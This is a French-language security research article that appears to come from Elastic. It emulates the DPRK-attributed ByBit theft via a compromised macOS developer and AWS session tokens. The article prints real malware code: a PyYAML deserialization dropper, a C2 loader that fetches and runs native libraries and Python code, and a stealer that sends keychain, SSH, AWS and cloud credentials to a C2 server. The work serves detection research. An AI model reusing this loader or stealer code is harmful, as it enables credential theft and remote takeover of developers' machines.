Bit ByBit - émulation du plus grand vol de crypto-monnaie de la RPDC

Une émulation haute-fidélité du plus grand vol de crypto-monnaie de la RPDC via un développeur macOS compromis et des pivots AWS.

Bit ByBit - émulation du plus grand vol de crypto-monnaie de la RPDC

Principaux points abordés dans cet article

Les principaux enseignements de cette étude :

  • PyYAML a utilisé la désérialisation comme vecteur d'accès initial
  • L'attaque s'est appuyée sur l'utilisation abusive de jetons de session et le déplacement latéral d'AWS.
  • Falsification de la chaîne d'approvisionnement des sites statiques
  • La furtivité basée sur Docker sur macOS
  • Corrélation de détection de bout en bout avec Elastic

Introduction

Le février 21, 2025, le monde des crypto-monnaies a été secoué par la disparition d'environ 400 000 ETH de ByBit, l'une des plus grandes bourses de crypto-monnaies du secteur. L'unité d'élite de la Corée du Nord chargée de la cyber-offensive, appelée TraderTraitor, serait à l'origine de ce vol incroyable. Exploitant une relation de fournisseur de confiance avec Safe{Wallet}, une plateforme de portefeuille multisig (multi-signature), TraderTraitor a transformé une transaction de routine en un vol d'un milliard de dollars. Le ciblage de la chaîne d'approvisionnement est devenu une caractéristique de la cyber-stratégie de la RPDC, sous-tendant le vol par le régime de plus de 6 milliards de dollars en crypto-monnaie depuis 2017. Dans cet article, nous allons disséquer cette attaque, émuler soigneusement ses tactiques dans un environnement contrôlé, et fournir des leçons pratiques pour renforcer les défenses de cybersécurité en utilisant le produit et les fonctionnalités d'Elastic.

Notre émulation de cette menace est basée sur les recherches publiées par Sygnia, Mandiant/SAFE, SlowMist et Unit42.

Chronologie des événements

Si vous êtes ici pour les détails techniques de l'émulation, n'hésitez pas à passer à la suite. Mais pour situer le contexte - et clarifier ce qui a été officiellement rapporté - nous avons compilé une chronologie des événements de haut niveau pour fonder nos hypothèses sur la base des recherches citées ci-dessus.

Février 2, 2025- Mise en place de l'infrastructure

L'attaquant enregistre le domaine getstockprice[.]com via Namecheap. Cette infrastructure est ensuite utilisée comme point d'arrivée C2 dans la charge utile de l'accès initial.

Février 4, 2025- Compromis initial

Le poste de travail macOS du développeur1 est compromis après l'exécution d'une application Python malveillante. Cette application contenait une logique liée à Docker et faisait référence au domaine de l'attaquant. Le chemin d'accès au fichier (~/Downloads/) et le comportement du logiciel malveillant suggèrent une ingénierie sociale (probablement via Telegram ou Discord, ce qui est cohérent avec les opérations passées de REF7001 et UNC4899).

Février 5, 2025- L'intrusion dans AWS commence

L'attaquant tente (sans succès) d'enregistrer son propre dispositif MFA virtuel auprès de l'utilisateur IAM de Developer1, ce qui indique une tentative de persistance.

5-17 février: Début des activités de reconnaissance dans l'environnement AWS. Au cours de cette période, les attaquants ont probablement énuméré les rôles IAM, les buckets S3 et d'autres ressources du cloud.

Février 17, 2025- Activité de commande et de contrôle AWS

Confirmation du trafic C2 observé dans l'AWS. Cette étape marque le passage de la reconnaissance passive à la préparation active de l'attaque.

Février 19, 2025- Piratage d'applications Web

Un instantané de app.safe.global (l'application web Next.js de Safe{Wallet} hébergée de manière statique) capturé par la Wayback Machine montre la présence d'un JavaScript malveillant. La charge utile a été conçue pour détecter une transaction Bybit multisig et la modifier à la volée, redirigeant les fonds vers le portefeuille de l'attaquant.

Février 21, 2025- Exécution et nettoyage

La transaction de l'exploit est exécutée contre Bybit via le frontend Safe{Wallet} compromis.

Un nouvel instantané de Wayback Machine confirme que la charge utile JavaScript a été supprimée, ce qui indique que l'auteur de l'attaque l'a nettoyée manuellement après son exécution.

La transaction du vol de Bybit est finalisée. Environ 400 000 ETH ont été volés. Une analyse ultérieure effectuée par Sygnia et d'autres confirme que l'infrastructure de Bybit n'a pas été directement compromise - Safe{Wallet} a été le seul point de défaillance.

Hypothèses pour l'émulation

  • Vecteur initial d'ingénierie sociale : L'ingénierie sociale a été utilisée pour compromettre Developer1, ce qui a entraîné l'exécution d'un script Python malveillant. Les détails exacts de la tactique d'ingénierie sociale (tels que les messages spécifiques, les techniques d'usurpation d'identité ou la plate-forme de communication utilisée) restent inconnus.
  • Chargeur et charge utile de deuxième niveau : Le script Python malveillant exécute un chargeur de deuxième niveau. Il n'est pas certain que ce chargeur et les charges utiles ultérieures correspondent à ceux décrits dans le rapport de l'Unit42, bien que les caractéristiques de l'application Python de l'accès initial soient similaires.
  • Structure et déroulement de l'application sécurisée : L'application compromise (app.global.safe) semble être une application Next.js hébergée statiquement dans AWS S3. Toutefois, on ne connaît pas les détails spécifiques tels que les itinéraires exacts, les composants, les processus de développement, les méthodes de contrôle des versions et le flux de déploiement de la production.
  • Déploiement de la charge utile JavaScript : Les attaquants ont injecté du JavaScript malveillant dans l'application Safe{Wallet}, mais on ne sait pas s'ils ont reconstruit et redéployé l'ensemble de l'application ou s'ils ont simplement écrasé/modifié un fichier JavaScript spécifique.
  • Détails de l'IAM et de la gestion de l'identité dans AWS : Les détails concernant les autorisations IAM, les rôles et les configurations de politiques de Developer1 dans AWS sont inconnus. En outre, on ne sait pas si Safe{Wallet} a utilisé le centre d'identité IAM d'AWS ou d'autres solutions de gestion de l'identité.
  • Récupération et utilisation des jetons de session AWS : Bien que les rapports confirment que les attaquants ont utilisé des jetons de session AWS temporaires, les détails sur la façon dont Developer1 a initialement récupéré ces jetons (par exemple via AWS SSO, GetSessionToken, ou des configurations MFA spécifiques) et sur la façon dont ils ont ensuite été stockés ou utilisés (par exemple, variables d'environnement, fichiers de configuration AWS, scripts personnalisés) ne sont pas connus.
  • Techniques d'énumération et d'exploitation d'AWS : Les outils exacts, les méthodologies d'énumération, les appels d'API AWS et les actions spécifiques effectuées par les attaquants dans l'environnement AWS entre février 5 et février 17, 2025, n'ont pas été divulgués.
  • Mécanismes de persistance AWS : Bien qu'il y ait une indication de persistance potentielle dans l'infrastructure AWS (par exemple, via la compromission d'une instance EC2), les détails explicites, y compris les outils, les tactiques ou les méthodes de persistance, ne sont pas fournis.

Aperçu de l'attaque

Les entreprises de l'écosystème des cryptomonnaies sont souvent prises pour cible. La RPDC cible continuellement ces entreprises en raison de l'anonymat relatif et de la nature décentralisée des crypto-monnaies, qui permettent au régime d'échapper aux sanctions financières mondiales. Les groupes cybernétiques offensifs de la Corée du Nord excellent dans l'identification et l'exploitation des vulnérabilités, ce qui se traduit par des milliards de dollars de pertes.

Cette intrusion a commencé par la compromission ciblée du poste de travail MacOS d'un développeur de Safe{Wallet}, le fournisseur de portefeuilles multi-signatures de confiance de ByBit. L'accès initial a fait appel à l'ingénierie sociale, en approchant probablement le développeur via des plateformes telles que LinkedIn, Telegram ou Discord, sur la base de campagnes précédentes, et en le convainquant de télécharger un fichier d'archive contenant une application Python sur le thème de la cryptographie - une procédure d'accès initial privilégiée par la RPDC. Cette application Python comprenait également une version Dockerisée de l'application qui pouvait être exécutée dans un conteneur privilégié. À l'insu de son développeur, cette application apparemment anodine a permis aux opérateurs de la RPDC d'exploiter une vulnérabilité d' exécution de code à distance (RCE) dans la bibliothèque PyYAML, ce qui leur a permis d'exécuter du code et, par la suite, de prendre le contrôle du système hôte.

Après avoir obtenu un accès initial à la machine du développeur, les attaquants ont déployé l'agent Poseidon de MythicC2, une charge utile robuste basée sur Golang offrant une furtivité avancée et des capacités de post-exploitation étendues pour les environnements macOS. Les attaquants ont alors pu effectuer une reconnaissance, découvrant l'accès du développeur à l'environnement AWS de Safe{Wallet} et l'utilisation de jetons de session d'utilisateur AWS temporaires sécurisés par une authentification multifactorielle (MFA). Armés de l'identifiant de la clé d'accès AWS du développeur, de la clé secrète et du jeton de session temporaire, les acteurs de la menace se sont ensuite authentifiés dans l'environnement AWS de Safe{Wallet} en l'espace d'environ 24 heures, profitant de la validité de 12 heures des jetons de session.

Afin de garantir un accès permanent à l'environnement AWS, les attaquants ont tenté d'enregistrer leur propre dispositif MFA. Cependant, les jetons de session temporaire AWS ne permettent pas d'appeler l'API IAM sans contexte d'authentification MFA, ce qui fait échouer cette tentative. Après cet échec mineur, l'acteur de la menace a énuméré l'environnement AWS, découvrant finalement un seau S3 hébergeant l'interface utilisateur statique Next.js de Safe{Wallet}.

Les attaquants auraient alors pu télécharger le code de cette application Next.js, passer près de deux semaines à analyser ses fonctionnalités avant d'injecter du JavaScript malveillant dans le fichier JS principal et d'écraser la version légitime hébergée dans le seau S3. Le code JavaScript malveillant a été activé exclusivement sur les transactions initiées à partir de l'adresse du portefeuille froid de Bybit et d'une adresse contrôlée par l'attaquant. En insérant des paramètres codés en dur, le script a contourné les contrôles de validation des transactions et les vérifications des signatures numériques, trompant ainsi les approbateurs du portefeuille ByBit qui faisaient implicitement confiance à l'interface Safe{Wallet}.

Peu après, la RPDC a initié une transaction frauduleuse, déclenchant le script malveillant qui a modifié les détails de la transaction. Cette manipulation a probablement contribué à tromper les signataires du portefeuille et à les inciter à approuver le transfert illicite, ce qui a permis aux agents de la RPDC de prendre le contrôle d'environ 400 000 ETH. Ces fonds volés ont ensuite été blanchis dans des portefeuilles contrôlés par les attaquants.

Nous avons choisi de mettre fin à nos recherches et à l'émulation du comportement en compromettant l'application Next.js. Par conséquent, nous n'abordons pas les technologies de la blockchain, telles que les contrats intelligents de l'ETH, les adresses de contrat et les appels de balayage de l'ETH, qui sont abordées dans plusieurs autres publications de recherche.

Emulation de l'attaque

Pour bien comprendre cette brèche, nous avons décidé d'émuler l'ensemble de la chaîne d'attaque dans un environnement de laboratoire contrôlé. En tant que chercheurs en sécurité chez Elastic, nous avons voulu marcher dans les pas de l'attaquant pour comprendre comment cette opération s'est déroulée à chaque étape : de l'exécution du code au détournement de la session AWS et à la manipulation des transactions basées sur le navigateur.

Cette émulation pratique avait un double objectif. Tout d'abord, il nous a permis d'analyser l'attaque à un niveau technique granulaire afin de découvrir des possibilités pratiques de détection et de prévention. Deuxièmement, cela nous a permis de tester les capacités d'Elastic de bout en bout, pour voir si notre plateforme pouvait non seulement détecter chaque phase de l'attaque, mais aussi les corréler en un récit cohérent sur lequel les défenseurs pourraient agir.

Compromission des points d'accès à MacOS

Grâce à l'article détaillé de Unit42et, surtout, au téléchargement d'échantillons récupérés sur VirusTotal, nous avons pu reproduire l'attaque de bout en bout en utilisant les charges utiles réelles observées dans la nature. Il s'agit notamment de

  • Charge utile de désérialisation PyYAML
  • Script de chargement Python
  • Script du voleur de python

Application Python malveillante

L'application Python d'accès initial que nous avons utilisée dans notre émulation correspond aux échantillons mis en évidence et partagés par SlowMist et corroborés par les conclusions de la réponse à l'incident de Mandiant concernant la compromission du développeur SAFE. Cette application correspondait également à la structure des répertoires de l'application présentée par l'Unit42 dans son rapport. Les attaquants ont récupéré un projet Python légitime de négociation de titres sur GitHub et l'ont dissimulé dans un script Python nommé data_fetcher.py.

L'application s'appuie sur Streamlit pour exécuter app.py, qui importe le script data_fetcher.py.

Le script data_fetcher.py comprend une fonctionnalité malveillante conçue pour atteindre un domaine contrôlé par l'attaquant.

Par défaut, le script récupère des données valides relatives au marché boursier. Cependant, dans certaines conditions, le serveur contrôlé par l'attaquant peut renvoyer une charge utile YAML malveillante. Lorsqu'elle est évaluée à l'aide du chargeur non sécurisé de PyYAML (yaml.load()), cette charge utile permet une désérialisation arbitraire des objets Python, ce qui entraîne un RCE.

Charge utile de désérialisation PyYAML

(VT Hash : 47e997b85ed3f51d2b1d37a6a61ae72185d9ceaf519e2fdb53bf7e761b7bc08f)

Nous avons recréé cette configuration malveillante en hébergeant la charge utile de désérialisation YAML sur une application web Python+Flask, en utilisant PythonAnywhere pour imiter l'infrastructure de l'attaquant. Nous avons mis à jour l'URL malveillante dans le script data_fetcher.py pour qu'elle pointe vers notre charge utile YAML hébergée par PythonAnywhere.

Lorsque PyYAML charge et exécute la charge utile YAML malveillante, il effectue les actions suivantes :

Tout d'abord, il crée un répertoire nommé Public dans le répertoire personnel de la victime.

directory = os.path.expanduser("~")
directory = os.path.join(directory, "Public")

if not os.path.exists(directory):
    os.makedirs(directory)

Ensuite, il décode et écrit un script de chargement Python codé en base64 dans un nouveau fichier nommé __init__.py dans le répertoire Public.

filePath = os.path.join(directory, "__init__.py")

with open(filePath, "wb") as f:
    f.write(base64.b64decode(b"BASE64_ENCODED_LOADER_SCRIPT"))

Enfin, il exécute silencieusement en arrière-plan le script __init__.py nouvellement créé, lançant ainsi la deuxième phase de l'attaque.

subprocess.Popen([sys.executable, filePath], start_new_session=True, stdout=DEVNULL, stderr=DEVNULL)

Script de chargement Python

(VT Hash : 937c533bddb8bbcd908b62f2bf48e5bc11160505df20fea91d9600d999eafa79)

Pour éviter de laisser des preuves judiciaires, le chargeur supprime d'abord son fichier (__init__.py) après l'exécution, le laissant fonctionner uniquement en mémoire.

directory = os.path.join(home_directory, "Public")

    if not os.path.exists(directory):
        os.makedirs(directory)

    try:
        body_path = os.path.join(directory, "__init__.py")
        os.remove(body_path)

L'objectif principal de ce chargeur est d'établir une communication continue avec le serveur de commandement et de contrôle (C2). Il recueille des informations de base sur le système (type de système d'exploitation, architecture et version du système) et les envoie au C2 par le biais d'une requête HTTP POST au point d'extrémité URL codé en dur /club/fb/status.

params = {
        "system": platform.system(),
        "machine": platform.machine(),
        "version": platform.version()
    }
    while True:
        try:
            response = requests.post(url, verify=False, data = params, timeout=180)

En fonction de la réponse du serveur (valeur ret), le chargeur décide des étapes suivantes.

ret == 0 :

Le script s'endort pendant 20 secondes et poursuit l'interrogation.

if res['ret'] == 0:
    time.sleep(20)
    continue
ret == 1 :

La réponse du serveur comprend une charge utile en Base64. Le script décode cette charge utile et l'écrit dans un fichier - nommé init.dll si vous êtes sous Windows ou init dans le cas contraire - puis charge dynamiquement la bibliothèque à l'aide de ctypes.cdll.LoadLibrary, ce qui fait que la charge utile s'exécute comme un binaire natif.

elif res['ret'] == 1:
    if platform.system() == "Windows":
        body_path = os.path.join(directory, "init.dll")
    else:
        body_path = os.path.join(directory, "init")
        with open(body_path, "wb") as f:
            binData = base64.b64decode(res["content"])
            f.write(binData)
            os.environ["X_DATABASE_NAME"] = ""
            ctypes.cdll.LoadLibrary(body_path)
ret == 2 :

Le script décode le contenu Base64 en code source Python, puis l'exécute à l'aide de la fonction Python exec(). Cela permet d'exécuter un code Python arbitraire.

elif res['ret'] == 2:
    srcData = base64.b64decode(res["content"])
    exec(srcData)
ret == 3 :

Le script décode une charge utile binaire (dockerd) et un fichier de configuration binaire (docker-init) en deux fichiers distincts, définit leurs autorisations d'exécution, puis tente de les exécuter en tant que nouveau processus, en fournissant le fichier de configuration comme argument à la charge utile binaire. Après l'exécution de la charge utile binaire, il supprime son fichier exécutable, laissant le fichier de configuration sur le disque à titre de référence.

elif res['ret'] == 3:
    path1 = os.path.join(directory, "dockerd")
    with open(path1, "wb") as f:
        binData = base64.b64decode(res["content"])
        f.write(binData)

    path2 = os.path.join(directory, "docker-init")
    with open(path2, "wb") as f:
        binData = base64.b64decode(res["param"])
        f.write(binData)

    os.chmod(path1, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR |
                    stat.S_IRGRP | stat.S_IXGRP |
                    stat.S_IROTH | stat.S_IXOTH)

    os.chmod(path2, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR |
                    stat.S_IRGRP | stat.S_IXGRP |
                    stat.S_IROTH | stat.S_IXOTH)

    try:
        process = subprocess.Popen([path1, path2], start_new_session=True)
        process.communicate()
        return_code = process.returncode
        requests.post(SERVER_URL + '/club/fb/result', verify=False, data={"result": str(return_code)})
    except:
        pass

    os.remove(path1)
ret == 9 :

Le script sort de sa boucle d'interrogation, ce qui met fin à toute autre action.

elif res['ret'] == 9:
    break

Après avoir traité une commande, le script continue d'interroger le serveur C2 pour obtenir d'autres instructions.

Emulation du chargeur Python

Notre objectif était de tester chacune des options de commande du chargeur afin de mieux comprendre ce qui se passait, de collecter des données télémétriques pertinentes et de les analyser dans le but de construire des détections robustes pour notre point d'accès et le SIEM.

Ret == 1 : écrire la bibliothèque sur le disque, charger et supprimer Dylib

La charge utile que nous avons utilisée pour cette option était une charge utile Poséidon compilée sous forme de bibliothèque partagée (.dylib).

Nous avons ensuite codé le binaire en base64 et avons pu coder en dur le chemin vers cette charge utile codée en base64 dans notre serveur C2 pour qu'elle soit utilisée lors du test de cette commande de chargement spécifique.

base64 poseidon.dylib > poseidon.b64
BINARY_PAYLOAD_B64 = "BASE64_ENCODED_DYLIB_PAYLOAD"  # For ret==1
STEALER_PAYLOAD_B64 = "BASE64_ENCODED_STEALER_SCRIPT" # For ret==2
MULTI_STAGE_PAYLOAD_B64 = "BASE64_ENCODED_MULTISTAGE_PAYLOAD" # For ret==3
# For testing we simulate a command to send.
# Options: 0, 1, 2, 3, 9.
# 0: Idle (sleep); 1: Execute native binary; 2: Execute Python code; 3: Execute multi-stage payload; 9: Terminate.
COMMAND_TO_SEND = 1   # Change this value to test different actions

Une fois que nous avons reçu le rappel de notre charge utile Poséidon vers notre Mythic C2, nous avons été en mesure de récupérer les informations d'identification en utilisant une variété de méthodes différentes fournies par Poséidon.

Option 1 : commande download - Accède au fichier, lit le contenu et renvoie les données au C2.
Option 2 : commande getenv - Lire les variables d'environnement de l'utilisateur et renvoyer le contenu au C2.
Option 3 : jsimport & commandes jsimport_call - Importer un script JXA dans la mémoire, puis appeler une méthode dans le script JXA pour récupérer les informations d'identification dans le fichier et renvoyer le contenu.

Ret == 2 : Réception et exécution d'un code Python arbitraire dans la mémoire du processus

(VT Hash : e89bf606fbed8f68127934758726bbb5e68e751427f3bcad3ddf883cb2b50fc7)

Le script de chargement permet d'exécuter un code ou des scripts Python arbitraires en mémoire. Sur le blog de l'Unit42, ils ont fourni un script Python qu'ils ont observé la RPDC exécuter via cette valeur de retour. Ce script recueille une grande quantité de données. Ces données sont codées XOR et renvoyées au serveur C2 via une requête POST. Pour l'émulation, il a suffi d'ajouter notre URL C2 avec la route appropriée telle que définie dans notre serveur C2 et d'encoder en base64 le script en codant en dur son chemin dans notre serveur lorsque cette option est testée.

def get_info():
    global id
    id = base64.b64encode(os.urandom(16)).decode('utf-8')
    
    # get xor key
    while True:
        if not get_key():
            break

        base_info()
        send_directory('home/all', '', home_dir)
        send_file('keychain', os.path.join(home_dir, 'Library', 'Keychains', 'login.keychain-db'))
        send_directory('home/ssh', 'ssh', os.path.join(home_dir, '.ssh'), True)
        send_directory('home/aws', 'aws', os.path.join(home_dir, '.aws'), True)
        send_directory('home/kube', 'kube', os.path.join(home_dir, '.kube'), True)
        send_directory('home/gcloud', 'gcloud', os.path.join(home_dir, '.config', 'gcloud'), True)
        finalize()
        break
Ret == 3 : écrire la charge utile binaire et la configuration binaire sur le disque, exécuter la charge utile et supprimer le fichier

Pour ret == 3 , nous avons utilisé une charge utile binaire Poseidon standard et un "fichier de configuration" contenant des données binaires spécifiées dans le script du chargeur. Nous avons ensuite encodé base64 le fichier binaire et le fichier de configuration comme l'option ret == 1 ci-dessus et codé en dur leurs chemins dans notre serveur C2 pour qu'ils soient utilisés lors du test de cette commande. Comme pour l'option ret == 1 ci-dessus, nous avons pu utiliser ces mêmes commandes pour collecter les informations d'identification du système cible.

Infrastructure C2

Nous avons créé un petit serveur C2 très simple, construit avec Python+Flask, destiné à écouter un port spécifié sur notre VM Kali Linux et à évaluer les requêtes entrantes, en répondant de manière appropriée en fonction de la route et de la valeur de retour que nous souhaitions tester.

Nous avons également utilisé le logiciel libre Mythic C2 afin de faciliter la création et la gestion des charges utiles Poséidon que nous avons utilisées. Mythic est un framework C2 open source créé et maintenu par Cody Thomas chez SpecterOps.

Application Python malveillante : Version Docker

Nous avons également exploré une variante Dockerisée de l'application Python malveillante. Cette version a été empaquetée dans un conteneur Python Docker minimal (python:3.12.2-slim) fonctionnant en mode privilégié, ce qui lui donne la possibilité d'accéder aux ressources de l'hôte.

Une application conteneurisée crée un angle mort de télémétrie et de détection sur macOS, car l'Endpoint Security Framework (ESF) d'Apple n'a pas la capacité d'introspecter les processus conteneurisés. Bien que les solutions de détection ESF et des points d'extrémité puissent toujours observer le processus Docker de confiance accédant à des fichiers hôtes sensibles, tels que des clés SSH, des identifiants AWS ou des données de configuration utilisateur, ces actions s'alignent généralement sur les flux de travail standard des développeurs. Par conséquent, les outils de sécurité sont moins susceptibles de scruter ou de déclencher des alertes sur les activités conteneurisées, ce qui offre aux attaquants une plus grande discrétion lorsqu'ils opèrent à partir d'environnements Docker.

Cela souligne la nécessité d'une surveillance supplémentaire, comme OSQuery et la collecte de fichiers journaux Docker, pour compléter les défenses standard des points d'extrémité de macOS. Elastic propose à la fois OSQuery et la collecte de fichiers journaux Docker via nos intégrations de données pour Elastic Agent, ainsi que nos fonctionnalités de protection des points finaux.

Conclusion sur l'émulation de MacOS

Notre émulation a recréé de bout en bout l'attaque contre le système macOS des développeurs de SAFE en utilisant les charges utiles réelles.

Application Python malveillante :

Nous avons commencé par reproduire l'application Python malveillante décrite dans les conclusions de Mandiant et dans le rapport de l'Unit42. Les attaquants ont forké une application open-source légitime et ont intégré un accès RCE dans data_fetcher.py. Ce script effectue des requêtes sortantes vers un serveur contrôlé par l'attaquant et récupère de manière conditionnelle un fichier YAML malveillant. En utilisant le site yaml.load() de PyYAML avec un chargeur non sécurisé, l'attaquant a déclenché une exécution de code arbitraire via la désérialisation.

Désérialisation de la charge utile PyYAML entraînant l'exécution du script du chargeur Python :

La charge utile YAML écrit un chargeur de deuxième étape codé en base64 sur ~/Public/__init__.py et l'exécute dans un processus détaché. Nous avons reproduit ce flux exact à l'aide d'un serveur de transit basé sur Flask et hébergé sur PythonAnywhere.

Exécution du chargeur Python & Interaction C2 :

Une fois lancé, le chargeur a supprimé son fichier sur le disque et s'est dirigé vers notre C2 émulé, en attente d'une tâche. Sur la base du code de réponse du C2 (ret), nous avons testé les actions suivantes :

  • ret == 1: Le chargeur a décodé une charge utile Poséidon (compilée sous forme de .dylib) et l'a exécutée à l'aide de ctypes.cdll.LoadLibrary(), ce qui a entraîné l'exécution du code natif à partir du disque.
  • ret == 2: Le chargeur a exécuté un voleur Python en mémoire, correspondant au script partagé par l'unité 42. Ce script collectait des données relatives au système, à l'utilisateur, au navigateur et aux informations d'identification et les exfiltraient par le biais de requêtes POST codées XOR.
  • ret == 3: Le chargeur a écrit un binaire Poseidon et un fichier de configuration binaire séparé sur le disque, a exécuté le binaire avec la configuration comme argument, puis a supprimé la charge utile.
  • ret == 9: Le chargeur a terminé sa boucle d'interrogation.

Collecte des données : Pre-Pivot Recon & Accès aux données :

Lors de notre test ret == 2, le voleur de Python s'est rassemblé :

  • Informations sur le système macOS (platform, os, user)
  • Données de l'utilisateur de Chrome (signets, cookies, données de connexion, etc.)
  • Clés privées SSH (~/.ssh)
  • Identifiants AWS (~/.aws/credentials)
  • Fichiers du trousseau de macOS (login.keychain-db)
  • Fichiers de configuration GCP/Kube à partir de .config/

Cela correspond à la collecte de données qui précède l'exploitation des nuages et reflète la manière dont les acteurs de la RPDC ont récolté les informations d'identification AWS dans l'environnement local du développeur.

Avec des identifiants AWS valides, les acteurs de la menace ont ensuite pivoté vers l'environnement cloud, lançant la deuxième phase de cette intrusion.

Compromis dans le nuage AWS

Pré-requis et installation

Pour émuler l'étape AWS de cette attaque, nous avons d'abord utilisé Terraform pour mettre en place l'infrastructure nécessaire. Il s'agissait notamment de créer un utilisateur IAM (développeur) avec une politique IAM trop permissive accordant l'accès aux API S3, IAM et STS. Nous avons ensuite poussé une application Next.js construite localement vers un bucket S3 et confirmé que le site était en ligne, en simulant un simple frontend Safe{Wallet}.

Notre choix de Next.js était basé sur le chemin d'accès au site statique du seau S3 d'origine. https://app[.]safe[.]global/_next/static/chunks/pages/_app-52c9031bfa03da47.js

Avant d'injecter un code malveillant, nous avons vérifié l'intégrité du site en effectuant une transaction test à l'aide d'une adresse de portefeuille cible connue, afin de nous assurer que l'application réagissait comme prévu.

Récupération du jeton de session temporaire

Suite à l'accès initial et à l'activité post-compromission sur le poste de travail macOS du développeur, les premières hypothèses se sont concentrées sur la récupération par l'adversaire des informations d'identification à partir des emplacements de configuration par défaut d'AWS - tels que ~/.aws ou des variables d'environnement de l'utilisateur. Le blog de l'Unit42 a confirmé par la suite que le script de vol Python ciblait les fichiers AWS. Ces emplacements stockent souvent des identifiants IAM à long terme ou des jetons de session temporaires utilisés dans les flux de développement standard. Toutefois, d'après les rapports publics, cette compromission spécifique concernait des jetons de session d'utilisateur AWS, et non des informations d'identification IAM à long terme. Dans notre émulation, en tant que développeur, nous avons ajouté notre dispositif MFA virtuel à notre utilisateur IAM, l'avons activé et avons ensuite récupéré notre jeton de session utilisateur et exporté les informations d'identification vers notre environnement. Notez que sur notre point de terminaison Kali Linux, nous avons utilisé ExpressVPN - comme l'ont fait les adversaires - pour tous les appels API AWS ou les interactions avec la boîte de développement.

On soupçonne le développeur d'avoir obtenu des informations d'identification AWS temporaires soit par l'opération API GetSessionToken, soit en se connectant via AWS Single Sign-On (SSO) à l'aide de l'interface CLI d'AWS. Ces deux méthodes permettent de mettre en cache localement des informations d'identification de courte durée et de les utiliser pour des interactions basées sur la CLI ou le SDK. Ces informations d'identification temporaires ont alors probablement été mises en cache dans les fichiers ~/.aws ou exportées en tant que variables d'environnement sur le système macOS.

Dans le scénario GetSessionToken, le développeur aurait exécuté une commande comme celle-ci :

aws sts get-session-token --serial-number "$ARN" --token-code "$FINAL_CODE"  --duration-seconds 43200 --profile "$AWS_PROFILE" --output json

Dans le scénario d'authentification basée sur le SSO, le développeur peut avoir exécuté :

aws configure sso 
aws sso login -profile "$AWS_PROFILE" -use-device-code "OTP"`

Dans les deux cas, les informations d'identification temporaires (clé d'accès, secret et jeton de session) sont enregistrées dans les fichiers ~/.aws et mises à la disposition du profil AWS configuré. Ces informations d'identification sont ensuite utilisées automatiquement par des outils tels que le CLI AWS ou des SDK tels que Boto3, à moins qu'elles ne soient modifiées. Dans les deux cas, si un logiciel malveillant ou un adversaire avait accès au système macOS du développeur, ces informations d'identification auraient pu être facilement récupérées à partir des variables d'environnement, du cache de configuration AWS ou du fichier d'informations d'identification.

Pour obtenir ces informations d'identification pour Developer1, nous avons créé un script personnalisé pour une automatisation rapide. Il a créé un dispositif MFA virtuel dans AWS, a enregistré le dispositif avec notre utilisateur Developer1, puis a appelé GetSessionToken à partir de STS - en ajoutant les informations d'identification de la session utilisateur temporaire renvoyées à notre point de terminaison macOS en tant que variables d'environnement, comme illustré ci-dessous.

Tentatives d'enregistrement des dispositifs d'AMF

Une hypothèse clé est que le développeur a travaillé avec une session d'utilisateur dont l'AMF était activée, soit pour une utilisation directe, soit pour assumer un rôle IAM géré de manière personnalisée. Notre hypothèse découle du matériel d'identification compromis - les jetons de session d'utilisateur temporaire AWS, qui ne sont pas obtenus à partir de la console mais plutôt demandés à la demande auprès de STS. Les identifiants temporaires renvoyés par GetSessionToken ou SSO expirent par défaut après un certain nombre d'heures, et un jeton de session avec le préfixe ASIA* suggérerait que l'adversaire a récolté un identifiant de courte durée mais à fort impact. Cela s'aligne sur les comportements observés lors de précédentes attaques attribuées à la RPDC, où des identifiants et des configurations pour Kubernetes, GCP et AWS ont été extraits et réutilisés.

Assumer l'identité compromise sur Kali

Une fois le jeton de session AWS collecté, l'adversaire l'a probablement stocké sur son système Kali Linux, soit dans les emplacements standard des informations d'identification AWS (par exemple, ~/.aws/credentials ou en tant que variables d'environnement), soit potentiellement dans une structure de fichier personnalisée, en fonction de l'outil utilisé. Alors que la CLI AWS lit par défaut à partir de ~/.aws/credentials et de variables d'environnement, un script Python utilisant Boto3 pourrait être configuré pour obtenir des informations d'identification à partir de presque n'importe quel fichier ou chemin d'accès. Compte tenu de la rapidité et de la précision de l'activité post-compromission, il est plausible que l'attaquant ait utilisé soit la CLI AWS, soit des appels directs au SDK Boto3, soit des scripts shell enveloppant des commandes CLI - qui offrent tous la commodité et la signature intégrée des requêtes.

Il est moins probable que l'attaquant ait signé manuellement les demandes d'API AWS à l'aide de SigV4, car cela serait inutilement lent et complexe d'un point de vue opérationnel. Il est également important de noter qu'aucun blog public n'a divulgué la chaîne de l'agent utilisateur associée à l'utilisation du jeton de session (par ex. aws-cli, botocore, etc.), ce qui laisse planer une incertitude sur les outils exacts de l'attaquant. Cela dit, compte tenu de la dépendance de DRPK à l'égard de Python et de la rapidité de l'attaque, l'utilisation de CLI ou de SDK reste l'hypothèse la plus raisonnable.

Note : Nous avons fait cela en émulation avec notre charge utile Poseidon avant le blog de l'Unité 42 sur les capacités du RN Loader.

Il est important de clarifier une nuance concernant le modèle d'authentification AWS : l'utilisation d'un jeton de session ne bloque pas intrinsèquement l'accès aux actions de l'API IAM - même les actions telles que CreateVirtualMFADevice - tant que la session a été initialement établie avec MFA. Dans notre émulation, nous avons tenté de reproduire ce comportement en utilisant un jeton de session volé qui avait un contexte MFA. Il est intéressant de noter que nos tentatives d'enregistrement d'un dispositif MFA supplémentaire ont échoué, ce qui suggère qu'il peut y avoir des garanties supplémentaires, telles que des contraintes de politique explicites, qui empêchent l'enregistrement MFA via des jetons de session ou que les détails de ce comportement sont encore trop vagues et que nous avons incorrectement imité le comportement. Bien que la raison exacte de l'échec ne soit pas claire, ce comportement justifie un examen plus approfondi des politiques IAM et du contexte d'authentification associés aux actions liées à la session.

Enumération des actifs S3

Après avoir acquis les informations d'identification, l'attaquant a probablement énuméré les services AWS accessibles. Dans ce cas, Amazon S3 était une cible évidente. L'attaquant aurait listé les buckets disponibles pour l'identité compromise dans toutes les régions et localisé un bucket public associé à Safe{Wallet}, qui hébergeait l'application frontale Next.js pour le traitement des transactions.

Nous supposons que l'attaquant connaissait l'existence du seau S3 en raison de son rôle dans la fourniture de contenu pour app.safe[.]global, ce qui signifie que la structure et les actifs du seau pouvaient être consultés publiquement ou téléchargés sans authentification. Dans notre émulation, nous avons validé un comportement similaire en synchronisant des actifs à partir d'un seau S3 public utilisé pour l'hébergement de sites statiques.

Next.js App Overwrite avec du code malveillant

